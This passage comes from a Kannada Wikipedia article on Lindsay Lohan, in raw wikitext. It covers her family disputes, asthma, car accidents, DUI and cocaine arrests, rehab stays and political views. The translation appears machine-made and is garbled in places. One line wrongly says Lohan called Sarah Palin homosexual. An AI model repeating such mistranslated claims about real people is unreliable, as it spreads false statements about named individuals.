ಗಲಭೆಯು ಇದೀಗ ಸ್ವಲ್ಪ ಕಾಲ ಸ್ಥಿರವಾಗಿದೆ. 'ಇದು ಯಾವಾಗಲೂ ಮೇಲೆ ಕೆಳಗೆ ಆಗುತ್ತದೆ,' ಎಂದು ಲೋಹಾನ್ ಅವರು ತಮ್ಮ ಹದಿವಯಸ್ಸಿನ ದಿನಗಳ ಬಗ್ಗೆ ಹೇಳುತ್ತಾ 'ತುಂಬಾ ಅನಿರೀಕ್ಷಿತ. ಅವರು ಇಲ್ಲಿರುವುದು, ಅವರಿಗೆ ಇಷ್ಟವೆ, ಅವರಿಂದ ಏನು ನಿರೀಕ್ಷಿಸಬೇಕೆಂದು ನಮಗೆ ತಿಳಿದಿಲ್ಲದ, ಇದು ತುಂಬಾ ಕಷ್ಟವಾಗಿದೆ, ಎಂದು ಅವರು ಹೇಳುತ್ತಾರೆ.{{' "}}</ref><ref name="harpers2008-12">{{cite web |last=Heyman |first=Marshall |title=Lindsay Lohan: Myth vs. Reality |publisher=Harper's Bazaar |date=December 2008 |url=http://www.harpersbazaar.com/magazine/cover/lindsay-lohan-cover-story-1208 |quote=The two are not speaking at the moment, though Lindsay insists, "He's not a bad guy. He's just making bad choices." |accessdate=December 15, 2008 }}</ref> ನವೆಂಬರ್ 2009 ರಲ್ಲಿ ಅವರ ತಂದೆ ಲೋಹಾನ್‌ರೊಂದಿಗೆ ಮತ್ತು ಅವರ ಕುರಿತ ಖಾಸಗಿ ಫೋನ್ ಕರೆಗಳ ರೆಕಾರ್ಡಿಂಗ್ ಅನ್ನು ಮಾಧ್ಯಮಕ್ಕೆ ಬಿಡುಗಡೆ ಮಾಡಿದರು.<ref>{{cite web |url=http://www.people.com/people/article/0,,20318141,00.html |title=Lindsay Lohan's Dad Says God Is Punishing Her |date=November 6, 2009 |author=Tim Nudd |publisher=People |accessdate=December 15, 2009 |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TRx7zc2?url=http://www.people.com/people/article/0,,20318141,00.html |url-status=dead }}</ref> [[ಟ್ವಿಟ್ಟರ್‌]]ನಲ್ಲಿ ಲೋಹಾನ್ ಅವರು ಈ ರೀತಿ ಪ್ರತಿಕ್ರಿಯಿಸಿದ್ದರು: "ಹಲವಾರು ವರ್ಷಗಳಿಂದ ಮೈಕೇಲ್ ಸೀನಿಯರ್ ಅವರೊಂದಿಗೆ ನಾನು ನೈಜವಾದ ಯಾವುದೇ ಸಂಬಂಧಗಳನ್ನು ಹೊಂದಿಲ್ಲ."<ref>{{cite web |url=http://www.people.com/people/article/0,,20317833,00.html |title=Lindsay Lohan Stands Up to Her Father |date=November 5, 2009 |author=Mike Fleeman |publisher=People |accessdate=December 15, 2009 |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TRxfMra?url=http://www.people.com/people/article/0,,20317833,00.html |url-status=dead }}</ref> ಲೋಹಾನ್ ಅವರು ತಮ್ಮ ಎರಡನೇ ವಯಸ್ಸಿನಿಂದಲೂ [[ಆಸ್ತಮಾ]]ದಿಂದ ಬಳಲುತ್ತಿದ್ದರು, ಆದರೂ ಅವರು 2008 ರಿಂದ [[ಧೂಮಪಾನಿ]]ಯಾಗಿದ್ದರು.<ref>{{harvnb|Peretz|2006|p=}}. {{" '}}ಲಿಂಡ್ಸೆಗೆ ಎರಡು ವರ್ಷ ವಯಸ್ಸಿನಿಂದಲೂ ಬ್ರೋಂಚಿಕಲ್ ಆಸ್ತಮಾ ಇದೆ' ಎಂದು ದಿನಾ ಹೇಳುತ್ತಾರೆ"</ref><ref>{{harvnb|Apodaca|2008|p=}}. "ಲಂಡ್ಸೆ ಅವರಿಗೆ ಬಿಡಲು (ಇದೀಗ) ಸಾಧ್ಯವಿಲ್ಲದಿರುವುದು ಎಂದರೆ ಧೂಮಪಾನ, ಸಾಮಾನ್ಯವಾಗಿ ಆಲ್ಕೊಹಾಲ್ ಮತ್ತು ಮಾದಕವಸ್ತು ವ್ಯಸನದಿಂದ ಹೊರಬಂದವರಿಗೆ ಉಂಟಾಗುವ ಚಟದಂತೆ ಅವರಿಗೂ ಇತ್ತು, ಅವರ ಆಸ್ತಮಾ ಇರುವಾಗಲೂ ಮತ್ತು ಗಂಟಲು ಕಟ್ಟುವಿಕೆಯಿಂದ ಇಂದು ಮಾತನಾಡಲು ತಡೆಯುಂಟಾಗುತ್ತಿದ್ದರೂ ಸಹ ಬಿಟ್ಟಿರಲಿಲ್ಲ."</ref> 2004 ರಲ್ಲಿ ''ಮೀನ್ ಗರ್ಲ್ಸ್‌'' ನ ನಂತರ ಲೋಹಾನ್ ಅವರು ಲಾಸ್ ಏಂಜಲೀಸ್‌ನ ಹೋಟೆಲುಗಳಲ್ಲಿ ನೆಲೆಸಿದ್ದರು ಆ ಸಮಯದಲ್ಲಿಯೇ ಎರಡು ಬಾರಿ [[ಚಾತಿಯಾ ಮಾರ್ಮೌಂಟ್‌]]ನಲ್ಲಿ ನೆಲೆಸಿದ್ದರು. 2007 ರ ಅಂತ್ಯದಲ್ಲಿ, ಶಾಶ್ವತ ನಿವಾಸದಲ್ಲಿ ನೆಲೆಸಿದ ನಂತರ, ಅವರು ಈ ರೀತಿ ವಿವರಿಸುತ್ತಾರೆ, ಅವರು ಹೋಟೆಲುಗಳಲ್ಲಿ ತುಂಬಾ ಸಮಯವನ್ನು ಕಳೆದೆ ಏಕೆಂದರೆ ಅವರು "ಒಬ್ಬರೇ ಇರಬೇಕೆಂದು ಬಯಸಲಿಲ್ಲ" ಆದರೆ "ಅದೇ ಜೀವನದ ಕ್ರಮವಲ್ಲ... ಹೆಚ್ಚು ನಿಯಮಿತವಾಗಿರುವುದಿಲ್ಲ."<ref>{{harvnb|Peretz|2006|p=}}. "ಮೀನ್ ಗರ್ಲ್ಸ್‌ನ ನಂತರ, ಲೋಹಾನ್ ಅವರು ಲಾಸ್ ಏಂಜಲೀಸ್‌ನಲ್ಲಿ ಒಂಟಿಯಾಗಿ ಕಳೆದರು."</ref><ref>{{harvnb|Apodaca|2008|p=}}. "ರಾಕ್ ಸ್ಟಾರ್‌ನಂತೆ ಹೋಟೆಲ್‌ಗಳಲ್ಲಿ ವರ್ಷಗಳು ಗಟ್ಟಲೆ ಇದ್ದ ನಂತರ - ಹಾಲಿವುಡ್ ರೋಸ್‌ವೆಲ್ಟ್‌ನಲ್ಲಿ ಒಂದು ವರ್ಷ, ಅದರ ನಂತರ ಚತುವಾ ಮರ್ಮೌಂಟ್‌ನಲ್ಲಿ ಎರಡು ಸೂಟ್‌ಗಳು - ಇದರ ನಂತರ ಲಿಂಡ್ಸೆ ಅವರು ಮನೆಗೆ ಹೋಗಬೇಕೆಂದು ಬಯಸಿದರು. ಅಂದರೆ ನೈಜವಾಗಿ ಮನೆ ರಚಿಸುವುದು. ಕೊನೆಯದಾಗಿ, ಇವರು ಬೆವರ್ಲಿ ಹಿಲ್ಸ್ ಎಸ್ಟೇಟ್‌ನಲ್ಲಿ ಸೆಮೆಲ್ ಅವರೊಂದಿಗೆ ಭೋಗ್ಯಕ್ಕೆ ಪಡೆದುಕೊಂಡರು. ಈ ಮೂಲಕ ಇವರು ಲಾಸ್ ಏಂಜಲೀಸ್‌ನಲ್ಲಿ ಐದು ವರ್ಷಗಳ ಕಾಲ ತಂಗಿದ್ದರು, ಇವರು 16 ವಯಸ್ಸಿನಲ್ಲಿರುವಾಗ ಇಲ್ಲಿನಿಂದ ಇವರು ಅಂತಿಮವಾಗಿ ಸ್ಥಾನಾಂತರವಾದರು."</ref><ref>{{harvnb|Kaylin|2008|p=}}. "ಲೋಹಾನ್ ಅವರು ಹೋಟೆಲ್‌ಗಳಲ್ಲಿ ತಂಗಿದ್ದಾಗ - 'ನಾನು ಒಬ್ಬಳೇ ಇರಲು ಬಯಸುತ್ತಿರಲಿಲ್ಲ, ನನಗೆ ಏನು ಬೇಕೆ ಅವಾಗ ನಾನು ಕೆಳಗೆ ಧಾವಿಸುತ್ತಿದ್ದೆ, ಆಗ ಅಲ್ಲಿ ಜನರು ಇರುತ್ತಿದ್ದರು' - ಇವರು ಇದೀಗ ಅದರ ಅನಾರೋಗ್ಯವನ್ನು ಕಂಡುಕೊಂಡಿದ್ದಾರೆ. 'ಇದು ಜೀವನದ ಕ್ರಮವಲ್ಲ,' ಎಂದು ಅವರು ಹೇಳುತ್ತಾರೆ. 'ಹೆಚ್ಚಿನ ಕ್ರಮಬದ್ಧವಾಗಿರುವುದಿಲ್ಲ.{{' "}}</ref> === ಕಾರು ಅಪಘಾತಗಳು, ಡಿಯುಐಗಳು ಮತ್ತು ಪುನಶ್ಚೇತನ === ಲೋಹಾನ್ ಅವರಿಗೆ ಸರಣಿ [[ಕಾರು ಅಪಘಾತ]]ಗಳು ಸಂಭವಿಸಿವೆ, ಅವುಗಳನ್ನು ವ್ಯಾಪಕವಾಗಿ ವರದಿ ಮಾಡಲಾಗಿದೆ, ಆಗಸ್ಟ್ 2004,<ref name="rearend">{{cite web |publisher=foxnews.com |title=Lindsay Lohan Sued Over Car Accident |url=http://www.foxnews.com/story/0,2933,146228,00.html |accessdate=March 4, 2007 }}</ref> ಅಕ್ಟೋಬರ್ 2005,<ref>{{cite web |url=http://www.mtv.com/news/articles/1510909/20051004/lohan_lindsay.jhtml |title=Lindsay Lohan Taken To Hospital After Car Accident |author=Corey Moss |co-author=Gil Kaufman |date=October 5, 2005 |publisher=MTV.com |accessdate=December 7, 2007 }}</ref> ಮತ್ತು ನವೆಂಬರ್ 2006, ರ ಅಲ್ಪ ಅಪಘಾತಗಳಿಗೆ ಒಳಗಾದರು, ಲೋಹಾನ್ ಅವರನ್ನು [[ಪಾಪಾರಾಜೊ]] ಛಾಯಾಚಿತ್ರಕ್ಕಾಗಿ ಅವರನ್ನು ಅನುಸರಿಸುತ್ತಿರುವಾಗ ಇವರು ಸ್ವಲ್ಪಮಟ್ಟಿನ ಗಾಯಗೊಂಡರು. ಅಪಘಾತವನ್ನು ಪೊಲೀಸರು ಉದ್ದೇಶಪೂರಿತ ಎಂದು ಹೇಳಿದರು, ಆದರೆ ಅಪರಾಧಿ ಮೊಕದ್ದಮೆ ಹೂಡಲು ಸಾಕಷ್ಟು ಸಾಕ್ಷಿ ಇಲ್ಲ ಎಂದು ವಕೀಲರು ಹೇಳಿದರು.<ref name="paparazzo_01">{{cite web |publisher=newsday.com |title=Photog Gets Break after Lohan Crash |url=http://www.newsday.com/entertainment/news/ny-flashtwo4569547dec30,0,6838959.story |archiveurl=https://web.archive.org/web/20060114105430/http://www.newsday.com/entertainment/news/ny-flashtwo4569547dec30,0,6838959.story |archivedate=January 14, 2006 |accessdate=October 2, 2009 }}</ref> ಸೆಲಬ್ರಿಟಿ ಔತಣ ದೃಷ್ಯದಲ್ಲಿ ಲೋಹಾನ್ ಅವರು ಹೆಸರುವಾಸಿಯಾಗಿದ್ದರು.<ref name="ap-spoiledchild" /> 2006 ರಲ್ಲಿ ಲೋಹಾನ್ ಅವರು [[ಆಲ್ಕೊಹಾಲಿಕ್ ಅನಾನ್ಮಸ್]] ಸಭೆಗಳಲ್ಲಿ ಭಾಗವಹಿಸಿದರು.<ref>{{cite web|url=http://www.news.com.au/dailytelegraph/story/0,,20860420-5006009,00.html|title=Lohan faces alcohol demons|archiveurl=https://archive.today/20120918210153/http://www.dailytelegraph.com.au/news/sydney-news/lohan-faces-alcohol-demons/story-e6freuzi-1111112622630|archivedate=2012-09-18|access-date=2010-03-09|url-status=live}}</ref> ಜನವರಿ 18 2007 ರಲ್ಲಿ, ಲೋಹಾನ್ ಅವರು ವಂಡರ್‌ಲ್ಯಾಂಡ್ ಸೆಂಟರ್ [[ಪುನಶ್ಚೇತನ]] ಸೌಲಭ್ಯದಲ್ಲಿ ಸೇರ್ಪಡೆಗೊಂಡರು. ಅವರ ಪ್ರತಿನಿಧಿಯ ಮೂಲಕ, "ನನ್ನ ವೈಯಕ್ತಿಕ ಆರೋಗ್ಯದ ಕಾಳಜಿಗಾಗಿ ನಾನು ಪೂರ್ವಭಾವಿಯಾಗಿ ತೀರ್ಮಾನವನ್ನು ತೆಗೆದುಕೊಂಡಿದ್ದೇನೆ" ಎಂದು ಹೇಳಿಕೆ ಬಿಡುಗಡೆ ಮಾಡಿದ್ದರು. 30 ದಿನಗಳನ್ನು ಪೂರೈಸಿದ ನಂತರ ಫೆಬ್ರವರಿ 16, 2007 ರಂದು ಲೋಹಾನ್ ಅವರು ಹೊರಬಂದರು.<ref>{{cite web|url=http://usmagazine.com/linsday_lohan_0|title="Us Exclusive: Lohan Enters Rehab", UsMagazine.com|access-date=2010-03-09|archive-date=2007-11-11|archive-url=https://web.archive.org/web/20071111105050/http://usmagazine.com/linsday_lohan_0|url-status=dead}}</ref><ref>{{cite web |url=http://www.nowmagazine.co.uk/celebrity-news/234745/lindsay-lohan-leaves-rehab/1/ |title=Star checks out of treatment centre }}</ref> ಮೇ 26, 2007 ರಂದು ಲೋಹಾನ್ ಅವರು ತಮ್ಮ ಕಾರ್‌ನ ನಿಯಂತ್ರಣವನ್ನು ತಪ್ಪಿ ವಾಹನವನ್ನು ಅಂಚುಕಟ್ಟೆಯ ಮೇಲೆ ಹತ್ತಿಸಿದ್ದರು. ಬೆವರ್ಲಿ ಹಿಲ್ಸ್ ಪೊಲೀಸರು ಅವರ ಕಾರಿನಲ್ಲಿ "ಬಳಸಬಹುದಾದಷ್ಟು" ಪ್ರಮಾಣದ [[ಕೊಕೇನ್]] ಇದ್ದದ್ದನ್ನು ಪ್ರಾಥಮಿಕ ಪರಿಶೀಲನೆಯಲ್ಲಿ ಕಂಡುಹಿಡಿದರು. ಸಣ್ಣ ಪ್ರಮಾಣದ ಗಾಯಗಳಿಗೆ ಚಿಕಿತ್ಸೆಯನ್ನು ಸ್ವೀಕರಿಸಿದ ನಂತರ, ಲೋಹಾನ್ ಅವರನ್ನು ಆಲ್ಕೋಹಾಲ್ ಸೇವನೆ ಮಾಡಿ [[ಚಾಲನೆ ಮಾಡಿದ ಅಪರಾಧಕ್ಕಾಗಿ]] ಬಂಧಿಸಲಾಯಿತು.<ref>{{cite web |url=http://edition.cnn.com/2007/WORLD/europe/05/26/saturday/index.html |title=Police: Actress Lindsay Lohan arrested for driving under the influence of alcohol |publisher=CNN.com }}</ref> ಎರಡು ದಿನಗಳ ನಂತರ, ಲೋಹಾನ್ ಅವರು [[ಪ್ರಾಮಿಸಸ್ ಟ್ರೀಟ್‌ಮೆಂಟ್ ಸೆಂಟರ್ಸ್‌]]ನ ಪುನಶ್ಚೇತನ ಸೌಲಭ್ಯಕ್ಕೆ ಆಗಮಿಸಿದರು, ಅಲ್ಲಿ ಅವರು 45 ದಿನಗಳ ಕಾಲ ಇದ್ದರು.<ref name="AP/CBS">{{cite news |title=Lindsay Lohan Returns To Rehab |url=http://www.showbuzz.cbsnews.com/stories/2007/05/29/people_hot_water/main2865462.shtml |publisher=Associated Press via [[CBS News]] |first= |last= |date=May 29, 2007 |access-date=ಮಾರ್ಚ್ 9, 2010 |archive-date=ಜುಲೈ 3, 2007 |archive-url=https://web.archive.org/web/20070703070538/http://www.showbuzz.cbsnews.com/stories/2007/05/29/people_hot_water/main2865462.shtml |url-status=dead }}</ref><ref>{{cite web |url=http://www.eonline.com/news/article/index.jsp?uuid=0cfded22-b4ef-4393-a654-33c78665e6b7 |title=Lindsay Leaves Rehab Behind |author=Natalie Finn |date=July 15, 2007 |publisher=[[E!]] |archiveurl=https://web.archive.org/web/20070929135915/http://www.eonline.com/news/article/index.jsp?uuid=0cfded22-b4ef-4393-a654-33c78665e6b7 |archivedate=September 29, 2007 |accessdate=October 2, 2009 }}</ref> ಅವರನ್ನು ಹೊರರೋಗಿ ಕಾಳಜಿಯ ಮೇರೆಗೆ ಬಿಡುಗಡೆಗೊಳಿಸಿದಾಗ ಅವರ ಮಿತಪಾನವನ್ನು ಗಮನಿಸಲು ಅವರಿಗೆ [[ಸ್ಕ್ರ್ಯಾಮ್ ಬ್ರೇಸ್‌ಲೆಟ್]] ಅನ್ನು ಅಳವಡಿಸಲಾಗಿತ್ತು.<ref name="knbcjuly24">{{cite news |url=http://www.knbc.com/entertainment/13742793/detail.html |title=Lindsay Lohan Arrested For DUI, Narcotics Possession |publisher=[[KNBC]] |date=July 24, 2007 |archiveurl=https://web.archive.org/web/20070927015213/http://www.knbc.com/entertainment/13742793/detail.html |archivedate=September 27, 2007 |accessdate=October 1, 2009 }}</ref><ref name="timesjuly24">{{cite web |url=http://seattletimes.nwsource.com/html/entertainment/2003804583_lohan25.html |title=Just out of rehab, Lohan arrested again on DUI, drug charges |work=Seattle Times }}</ref> ಜುಲೈ 24 ರಂದು, ಪ್ರಾಮಿಸಸ್ ಅನ್ನು ಬಿಟ್ಟ ಎರಡು ವಾರಗಳ ಒಳಗಾಗಿ, ಲೋಹಾನ್ ಅವರು [[ಸಂತಾ ಮೊನಿಕಾ]]ದಲ್ಲಿನ ಮಿತಪಾನದ ಪರೀಕ್ಷೆ ಒಳಪಡಲು ನಿರಾಕರಿಸಿದರು ಹಾಗೂ ಅವರನ್ನು ಪೊಲೀಸ್ ಠಾಣೆಗೆ ಕರೆದೊಯ್ಯಲಾಯಿತು, ಅಲ್ಲಿನ ಅವರ ರಕ್ತದ ಆಲ್ಕೋಹಾಲ್ ಮಟ್ಟವು ಕಾನೂನು ಮಿತಿಗಿಂತಲೂ ಹೆಚ್ಚಿಗೆ ಇರುವುದು ಕಂಡುಬಂದಿತು. ಶೋಧಿಸುವಾಗ, ಅವರ ಜೇಬಿನಲ್ಲಿ ಸಣ್ಣ ಪ್ರಮಾಣದ ಕೊಕೇನ್ ಇರುವುದು ಪೊಲೀಸ್ ಗಮನಕ್ಕೆ ಬಂದಿತು.<ref name="knbcjuly24" /><ref name="timesjuly24" /><ref name="apjuly24">{{cite web |url=http://news.aol.com/entertainment/movies/story/_a/arrested-lohan-says-i-am-innocent/20070725064409990001 |title=Arrested Lohan Says 'I Am Innocent' |publisher=Associated Press via AOL News |date=July 25, 2007 |accessdate=October 3, 2009 }}</ref> ಲೋಹಾನ್ ಅವರನ್ನು ಕೊಕೇನ್ ಹೊಂದಿರುವುದಕ್ಕಾಗಿ ಮತ್ತು ಕೊಕೇನ್ ಉಪಯೋಗಿಸಿ ಹಾಗೂ ಅಮಾನತುಗೊಳಿಸಲಾದ ಪರವಾನಗಿಯೊಂದಿಗೆ ವಾಹನ ಚಾಲನೆ ಮಾಡುತ್ತಿರುವ ಅಪರಾಧದ ಮೇರೆಗೆ ಅಪರಾಧವನ್ನು ದಾಖಲಿಸಲಾಯಿತು.<ref name="apjuly24" /><ref>{{cite web |url=http://film.guardian.co.uk/apnews/story/0,,-6804025,00.html |title=Lindsay Lohan: 'I Am Innocent' |work=Guardian Unlimited |publisher=Guardian Media Group |archiveurl=https://web.archive.org/web/20071122042048/http://film.guardian.co.uk/apnews/story/0,,-6804025,00.html |archivedate=November 22, 2007 |accessdate=October 3, 2009 }}</ref> ಆಗಸ್ಟ್ 2007 ರಲ್ಲಿ ಲೋಹಾನ್ ಅವರು ಮೂರನೇ ಬಾರಿಯ ಪುನಶ್ಚೇತನಕ್ಕಾಗಿ [[ಉತಾದ ಸುಂಡನ್ಸ್‌]]ನಲ್ಲಿರುವ ಸರ್ಕ್ಯೂ ಲಾಡ್ಜ್ ಟ್ರೀಟ್‌ಮೆಂಟ್ ಸೆಂಟರ್‍‌ಗೆ ಪ್ರವೇಶಿಸಿದರು, ಅಕ್ಟೋಬರ್ 5, 2007 ಬಿಡುಗಡೆ ಹೊಂದುವ ತನಕ ಅಲ್ಲಿಯೇ ತಂಗಿದ್ದರು.<ref>{{cite web |url=http://www.people.com/people/article/0,,20058562,00.html|title=Lindsay Lohan Leaves Rehab, people.com}}</ref> ಆಗಸ್ಟ್ 23, 2007 ರಂದು, ಕೊಕೇನ್ ಬಳಕೆಗಾಗಿ ಮತ್ತು ಅದನ್ನು ಬಳಸಿ ಚಾಲನೆ ಮಾಡಿದ್ದಕ್ಕಾಗಿ ಒಂದು ದಿನದ [[ಜೈಲು]] ವಾಸ ಮತ್ತು 10 ದಿನಗಳ [[ಸಮುದಾಯ ಸೇವೆ]] ಸಲ್ಲಿಸುವಂತೆ ಶಿಕ್ಷೆಗೆ ಒಳಪಟ್ಟರು. ದಂಡಗಳನ್ನು ಪಾವತಿಸುವಂತೆ ಅವರಿಗೆ ಹಾಗೂ ಆಲ್ಕೊಹಾಲ್ ಶಿಕ್ಷಣ ಕಾರ್ಯಕ್ರಮವನ್ನು ಪೂರೈಸುವಂತೆ ಅವರಿಗೆ ಸೂಚಿಸಲಾಯಿತು, ಮತ್ತು ಮೂರು ವರ್ಷಗಳ ಕಾಲ [[ಪರೀಕ್ಷಾರ್ಥ ಶಿಕ್ಷೆ]]ಯಲ್ಲಿರುವಂತೆ ಸೂಚಿಸಲಾಯಿತು. "ನಾನು ಆಲ್ಕೊಹಾಲ್ ಮತ್ತು ಡ್ರಗ್ಸ್‌ನ ವ್ಯಸನಿಯಾಗಿರುವ ಕಾರಣ ನನ್ನ ಜೀವನವನ್ನು ನಿರ್ವಹಿಸುವುದು ಸಂಪೂರ್ಣವಾಗಿ ಕಷ್ಟವಾಗಿದೆ ಎಂದು ನನಗೆ ಸ್ಪಷ್ಟವಾಗಿದೆ" ಎಂದು ಲೋಹಾನ್ ಅವರು ತಮ್ಮ ಹೇಳಿಕೆಯಲ್ಲಿ ತಿಳಿಸಿದರು.<ref>{{cite web |url=http://www.msnbc.msn.com/id/20412029/ |title=Lindsay Lohan Reaches Plea Deal, Will Serve One Day In Jail; 'I Relapsed,' Actress Says |accessdate=August 25, 2007 |date=August 23, 2007 |publisher=[[MSNBC]] |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TSMih9T?url=http://today.msnbc.msn.com/id/20412029 |url-status=dead }}</ref> ನವೆಂಬರ್ 15, 2007 ರಲ್ಲಿ, ಲೋಹಾನ್ ಅವರಿಗೆ ಕೇವಲ 84 ನಿಮಿಷಗಳ ಜೈಲುವಾಸ ನೀಡಲಾಗಿತ್ತು. ಶಿಕ್ಷೆಯನ್ನು ಕಡಿಮೆಗೊಳಿಸಲು ಹೆಚ್ಚು ಜನಸಂದಣಿ ಮತ್ತು ಅಹಿಂಸಾತ್ಮಕ ಅಪರಾಧವೇ ಕಾರಣ ಎಂದು ನ್ಯಾಯಪರ ವಕ್ತಾರರು ತಿಳಿಸಿದರು.<ref>{{cite web|url=http://www.msnbc.msn.com/id/21824406/|title=Lindsay Lohan spends 84 minutes in jail|access-date=2010-03-09|archive-date=2012-02-15|archive-url=https://www.webcitation.org/65TSNTdyU?url=http://today.msnbc.msn.com/id/21824406|url-status=dead}}</ref> ಲೋಹಾನ್ ಅವರು ಕೋರ್ಟ್‌ ಆದೇಶದ ಮಾದಕವ್ಯಸನ ಚಿಕಿತ್ಸೆಗೆ ಭೇಟಿಯಾಗುವಲ್ಲಿ ವಿಫಲರಾದ ಕಾರಣ ಅಕ್ಟೋಬರ್ 2009 ರಲ್ಲಿನ ಹೆಚ್ಚುವರಿ ವರ್ಷದೊಂದಿಗೆ ಪರೀಕ್ಷಾರ್ಥ ಶಿಕ್ಷೆಯನ್ನು ವಿಸ್ತರಿಸಲಾಯಿತು.<ref>{{cite web |url=http://www.msnbc.msn.com/id/33334694/ns/entertainment-celebrities/ |publisher=[[Associated Press]] via [[msnbc.com]] |title=Judge adds another year to Lohan’s probation |date=October 16, 2009 |accessdate=October 18, 2009 |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TSODLaE?url=http://today.msnbc.msn.com/id/33334694 |url-status=dead }}</ref> === ರಾಜಕೀಯ ಸ್ಥಾನಗಳು === 2004 ರಲ್ಲಿ ತಮ್ಮ ಅಭಿಮಾನಿಗಳಿಂದ ದೂರವಾಗಲು ಬಯಸುವುದಿಲ್ಲ ಎಂಬ ಕಾರಣಕ್ಕಾಗಿ ರಾಜಕೀಯದ ಬಗ್ಗೆ ಮಾತನಾಡಲು ಲೋಹಾನ್ ಅವರು ಬಯಸುವುದಿಲ್ಲ ಎಂದು ಹೇಳಿದ್ದರು.<ref>{{cite web |last=Binelli |first=Mark |title=Confessions of a Teenage Drama Queen |work=[[Rolling Stone]] |date=August 19, 2004 |url=http://www.rollingstone.com/news/coverstory/lindsay_lohan_teenage_drama_queen/page |quote=On reaching voting age: 'I'm not very politically involved. And I don't like to talk about it. I mean, if you say you're a Democrat, that'll turn off Republicans, and that's half of your fan base.' |accessdate=September 26, 2008 |archive-date=ಡಿಸೆಂಬರ್ 21, 2008 |archive-url=https://web.archive.org/web/20081221022138/http://www.rollingstone.com/news/coverstory/lindsay_lohan_teenage_drama_queen/page |url-status=dead }}</ref> ಆದಾಗ್ಯೂ, 2006 ರಲ್ಲಿ [[ಹಿಲರಿ ಕ್ಲಿಂಟನ್‌]]ರೊಂದಿಗೆ [[ಯುಎಸ್ಒ]] ಪ್ರವಾಸಕ್ಕಾಗಿ [[ಇರಾಕ್‌]]ಗೆ ಹೋಗುವಲ್ಲಿ ಇವರು ಆಸಕ್ತಿ ತೋರಿಸಿದರು.<ref>{{cite web |last=Goldman |first=Andrew |title=La Vida Lohan |work=[[Elle (magazine)|Elle]] |date=September 2006 |url=http://www.elle.com/coverstory/9103/lindsay-lohan.html |quote=I've been trying to go to Iraq with Hillary Clinton for so long. Hillary was trying to work it out, but it seemed too dangerous. I wanted to do what Marilyn Monroe did, when she went and just set up a stage and did a concert for the troops all by herself. |accessdate=August 20, 2008 |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TS0LfSV?url=http://www.elle.com/Pop-Culture/Cover-Shoots/La-Vida-Lohan |url-status=dead }}</ref> [[2008 ರ ಸಮಯದಲ್ಲಿ ಯುಎಸ್‌ನ ಅಧ್ಯಕ್ಷರ ಪ್ರಚಾರ]]ಕ್ಕಾಗಿ ಯುವ ಮತದಾರರನ್ನು ಉದ್ದೇಶಿಸಿ ಕಾರ್ಯಕ್ರಮಗಳು ನೀಡುವುದು ಸೇರಿದಂತೆ [[ಬರಾಕ್ ಒಬಾಮಾ]] ಅವರಿಗೆ ಇವರು ತಮ್ಮ ಸೇವೆಯನ್ನು ನೀಡುವಲ್ಲಿ ಮುಂದಾದರು; ಆದರೆ ಅವರ ಮುಂದಾಳತ್ವವನ್ನು ನಿರಾಕರಿಸಲಾಯಿತು. ಒಬಾಮಾ ಅವರ ಪ್ರಚಾರದಲ್ಲಿರುವ ಹೆಸರಿಸದ ಮೂಲದ ಪ್ರಕಾರ, ಲೋಹಾನ್ ಅವರು "ನಮಗೆ ಧನಾತ್ಮಕವಾಗಿರುವಂತೆ ಹೆಚ್ಚು ಪ್ರಚಲಿತವಾಗಿರುವ ತಾರೆಯಲ್ಲ" ಎಂದು ''[[ಚಿಕಾಗೊ ಸನ್ -ಟೈಮ್ಸ್‌]]'' ಗೆ ಹೇಳಿದರು.<ref>{{cite news |first=Bob |last=Zwecker |title=Barack Obama campaign nixes Lindsay Lohan |date=September 17, 2008 |url=http://www.webcitation.org/5c3ezxUsu |work=[[Chicago Sun Times]] |accessdate=November 3, 2008 |archive-date=ಜುಲೈ 25, 2012 |archive-url=https://web.archive.org/web/20120725201944/http://www.webcitation.org/5c3ezxUsu |url-status=dead }}</ref> ಆದಾಗ್ಯೂ ಇವರು [[ಮೈಸ್ಪೇಸ್]] ಬ್ಲಾಗ್‌ಗಳಲ್ಲಿ ಚುನಾವಣೆಯ ಕುರಿತು ತಮ್ಮ ಅಭಿಪ್ರಾಯಗಳನ್ನು ಪೋಸ್ಟ್ ಮಾಡಿದರು, ಒಬಾಮಾ ಅವರನ್ನು ಬೆಂಬಲಿಸುವಂತೆ ಮತದಾರರನ್ನು ಪ್ರೇರೇಪಿಸುತ್ತಾ, ಉಪಾಧ್ಯಕ್ಷ ಅಭ್ಯರ್ಥಿ [[ಸಾರಾ ಪಾಲಿನ್]] ಅವರ ಮಾಧ್ಯಮ ಪ್ರಚಾರವನ್ನು ಟೀಕಿಸುತ್ತಾ, ಮತ್ತು ಪಾಲಿನ್ ಅವರನ್ನು [[ಸಲಿಂಗಕಾಮಿ]], [[ಗರ್ಭಪಾತ ವಿರೋಧಿ]] ಮತ್ತು [[ಪರಿಸರ ವಿರೋಧಿ]] ಎಂದು ವಿವರಿಸಿದರು.<ref name="eonline.com">ಪೆಡರ್ಸನ್, ಎರಿಕ್. [http://www.eonline.com/uberblog/b28941_lindsay_lohan_smacks_sarah_palin_with.html "ಲಿಂಡ್ಸೆ ಲೋಹಾನ್ ಸ್ಮ್ಯಾಕ್ಸ್ ಸಾರಾ ಪಾಲಿನ್ ವಿತ್ ಪೋಸ್ಟ್"]. [[ಇ!]] [[ಆನ್‌ಲೈನ್]], ಸೆಪ್ಟೆಂಬರ್ 14, 2008. ಸ್ವೀಕರಿಸಿದ್ದು ಜುಲೈ 3, 2009.</ref><ref>{{cite web |url=http://www.marieclaire.co.uk/news/celebrity/273974/lindsay-lohan-s-attack-on-sarah-palin.html |title=Lindsay Lohan's Attack on Sarah Palin |publisher=[[Marie Claire|marieclaire.co.uk]] |date=September 17, 2008 |accessdate=July 31, 2009 }}</ref><ref>{{cite web |title=Lohan gets political on blog, sounds off on Palin |publisher=Associated Press via [[The Insider (TV series)|The Insider]] |date=September 2, 2008 |url=http://www.theinsider.com/news/1160539_Lohan_gets_political_on_blog_sounds_off_on_Palin |accessdate=October 2, 2009 |archive-date=ಅಕ್ಟೋಬರ್ 2, 2009 